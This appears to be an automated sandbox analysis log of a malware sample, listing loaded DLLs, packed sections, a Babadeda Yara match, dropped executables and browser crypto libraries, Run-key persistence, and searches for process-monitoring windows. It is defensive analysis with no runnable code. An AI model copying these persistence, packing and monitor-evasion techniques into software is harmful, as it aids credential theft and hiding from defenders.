Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: netutils.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: apphelp.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: winmm.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: wldp.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: propsys.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: profapi.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: edputil.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: urlmon.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: iertutil.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: srvcli.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: netutils.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: sspicli.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: wintypes.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: appresolver.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: slc.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: userenv.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: sppc.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: pcacli.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: mpr.dll
Source: C:\Users\user\1000003002\5aa32fec17.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: gdi32.pdb source: firefox.exe, 00000021.00000003.3399821667.00000169CBCC1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2450595340.000000006CD6F000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: msasn1.pdb source: firefox.exe, 00000021.00000003.3397835645.00000169CD8A1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: xWindows.Security.Integrity.pdb source: firefox.exe, 00000021.00000003.3396520559.00000169D34CE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: pnrpnsp.pdb source: firefox.exe, 00000021.00000003.3397548903.00000169D1B86000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: NapiNSP.pdb source: firefox.exe, 00000021.00000003.3397548903.00000169D1B86000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: nsi.pdb source: firefox.exe, 00000021.00000003.3396520559.00000169D34B6000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: combase.pdb source: firefox.exe, 00000021.00000003.3413206321.00000169CBCF4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: xOneCoreUAPCommonProxyStub.pdb source: firefox.exe, 00000021.00000003.3396520559.00000169D34CE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: UxTheme.pdb@ source: firefox.exe, 00000021.00000003.3412223817.00000169CBD28000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: winrnr.pdb source: firefox.exe, 00000021.00000003.3396520559.00000169D34B6000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2450595340.000000006CD6F000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: imm32.pdb source: firefox.exe, 00000021.00000003.3399821667.00000169CBCC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3413206321.00000169CBCF4000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Unpacked PE file: 6.2.RoamingBKJEGDGIJE.exe.2a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;legihfsp:EW;iwukfltx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;legihfsp:EW;iwukfltx:EW;.taggant:EW;
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Unpacked PE file: 9.2.RoamingIJEGDBGDBF.exe.60000.0.unpack :EW;.rsrc:W;.idata :W; :EW;yaomedmc:EW;ihlphrnj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;yaomedmc:EW;ihlphrnj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 14.2.explorti.exe.c00000.0.unpack :EW;.rsrc:W;.idata :W; :EW;yaomedmc:EW;ihlphrnj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;yaomedmc:EW;ihlphrnj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 15.2.explorti.exe.c00000.0.unpack :EW;.rsrc:W;.idata :W; :EW;yaomedmc:EW;ihlphrnj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;yaomedmc:EW;ihlphrnj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 19.2.axplong.exe.820000.0.unpack :EW;.rsrc:W;.idata :W; :EW;legihfsp:EW;iwukfltx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;legihfsp:EW;iwukfltx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Unpacked PE file: 20.2.7ca32398cd.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Unpacked PE file: 37.2.7ca32398cd.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Unpacked PE file: 20.2.7ca32398cd.exe.400000.0.unpack
Source: C:\Users\user\1000003002\5aa32fec17.exe	Unpacked PE file: 23.2.5aa32fec17.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Unpacked PE file: 37.2.7ca32398cd.exe.400000.0.unpack

Yara detected Babadeda

Source: Yara match	File source: 23.0.5aa32fec17.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.5aa32fec17.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\1000003002\5aa32fec17.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe, type: DROPPED

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_004195E0

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: RoamingBKJEGDGIJE.exe.0.dr	Static PE information: real checksum: 0x1db40a should be: 0x1e3eb5
Source: axplong.exe.6.dr	Static PE information: real checksum: 0x1db40a should be: 0x1e3eb5
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1db40a should be: 0x1e3eb5
Source: RoamingIJEGDBGDBF.exe.0.dr	Static PE information: real checksum: 0x1dbc9d should be: 0x1e053f
Source: 5aa32fec17.exe.18.dr	Static PE information: real checksum: 0x0 should be: 0x19435
Source: explorti.exe.9.dr	Static PE information: real checksum: 0x1dbc9d should be: 0x1e053f
Source: random[1].exe0.18.dr	Static PE information: real checksum: 0x0 should be: 0x19435
Source: enter[1].exe.0.dr	Static PE information: real checksum: 0x1dbc9d should be: 0x1e053f

Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: legihfsp
Source: random[1].exe.0.dr	Static PE information: section name: iwukfltx
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: RoamingBKJEGDGIJE.exe.0.dr	Static PE information: section name:
Source: RoamingBKJEGDGIJE.exe.0.dr	Static PE information: section name: .idata
Source: RoamingBKJEGDGIJE.exe.0.dr	Static PE information: section name:
Source: RoamingBKJEGDGIJE.exe.0.dr	Static PE information: section name: legihfsp
Source: RoamingBKJEGDGIJE.exe.0.dr	Static PE information: section name: iwukfltx
Source: RoamingBKJEGDGIJE.exe.0.dr	Static PE information: section name: .taggant
Source: enter[1].exe.0.dr	Static PE information: section name:
Source: enter[1].exe.0.dr	Static PE information: section name: .idata
Source: enter[1].exe.0.dr	Static PE information: section name:
Source: enter[1].exe.0.dr	Static PE information: section name: yaomedmc
Source: enter[1].exe.0.dr	Static PE information: section name: ihlphrnj
Source: enter[1].exe.0.dr	Static PE information: section name: .taggant
Source: RoamingIJEGDBGDBF.exe.0.dr	Static PE information: section name:
Source: RoamingIJEGDBGDBF.exe.0.dr	Static PE information: section name: .idata
Source: RoamingIJEGDBGDBF.exe.0.dr	Static PE information: section name:
Source: RoamingIJEGDBGDBF.exe.0.dr	Static PE information: section name: yaomedmc
Source: RoamingIJEGDBGDBF.exe.0.dr	Static PE information: section name: ihlphrnj
Source: RoamingIJEGDBGDBF.exe.0.dr	Static PE information: section name: .taggant
Source: axplong.exe.6.dr	Static PE information: section name:
Source: axplong.exe.6.dr	Static PE information: section name: .idata
Source: axplong.exe.6.dr	Static PE information: section name:
Source: axplong.exe.6.dr	Static PE information: section name: legihfsp
Source: axplong.exe.6.dr	Static PE information: section name: iwukfltx
Source: axplong.exe.6.dr	Static PE information: section name: .taggant
Source: explorti.exe.9.dr	Static PE information: section name:
Source: explorti.exe.9.dr	Static PE information: section name: .idata
Source: explorti.exe.9.dr	Static PE information: section name:
Source: explorti.exe.9.dr	Static PE information: section name: yaomedmc
Source: explorti.exe.9.dr	Static PE information: section name: ihlphrnj
Source: explorti.exe.9.dr	Static PE information: section name: .taggant
Source: random[1].exe0.18.dr	Static PE information: section name: .code
Source: 5aa32fec17.exe.18.dr	Static PE information: section name: .code
Source: gmpopenh264.dll.tmp.33.dr	Static PE information: section name: .rodata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A9F5 push ecx; ret		0_2_0041AA08
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6B536 push ecx; ret		0_2_6CB6B549

Source: file.exe	Static PE information: section name: .text entropy: 7.823583257358654
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.97553764385012
Source: random[1].exe.0.dr	Static PE information: section name: legihfsp entropy: 7.953386179247648
Source: RoamingBKJEGDGIJE.exe.0.dr	Static PE information: section name: entropy: 7.97553764385012
Source: RoamingBKJEGDGIJE.exe.0.dr	Static PE information: section name: legihfsp entropy: 7.953386179247648
Source: enter[1].exe.0.dr	Static PE information: section name: entropy: 7.9835064162200045
Source: enter[1].exe.0.dr	Static PE information: section name: yaomedmc entropy: 7.95396195458321
Source: RoamingIJEGDBGDBF.exe.0.dr	Static PE information: section name: entropy: 7.9835064162200045
Source: RoamingIJEGDBGDBF.exe.0.dr	Static PE information: section name: yaomedmc entropy: 7.95396195458321
Source: axplong.exe.6.dr	Static PE information: section name: entropy: 7.97553764385012
Source: axplong.exe.6.dr	Static PE information: section name: legihfsp entropy: 7.953386179247648
Source: explorti.exe.9.dr	Static PE information: section name: entropy: 7.9835064162200045
Source: explorti.exe.9.dr	Static PE information: section name: yaomedmc entropy: 7.95396195458321
Source: random[1].exe.18.dr	Static PE information: section name: .text entropy: 7.823583257358654
Source: 7ca32398cd.exe.18.dr	Static PE information: section name: .text entropy: 7.823583257358654

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\1000003002\5aa32fec17.exe	Jump to dropped file
Source: C:\Program Files\Mozilla Firefox\firefox.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Program Files\Mozilla Firefox\firefox.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\enter[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Jump to dropped file
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	File created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7ca32398cd.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5aa32fec17.exe

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Window searched: window name: RegmonClass	Jump to behavior
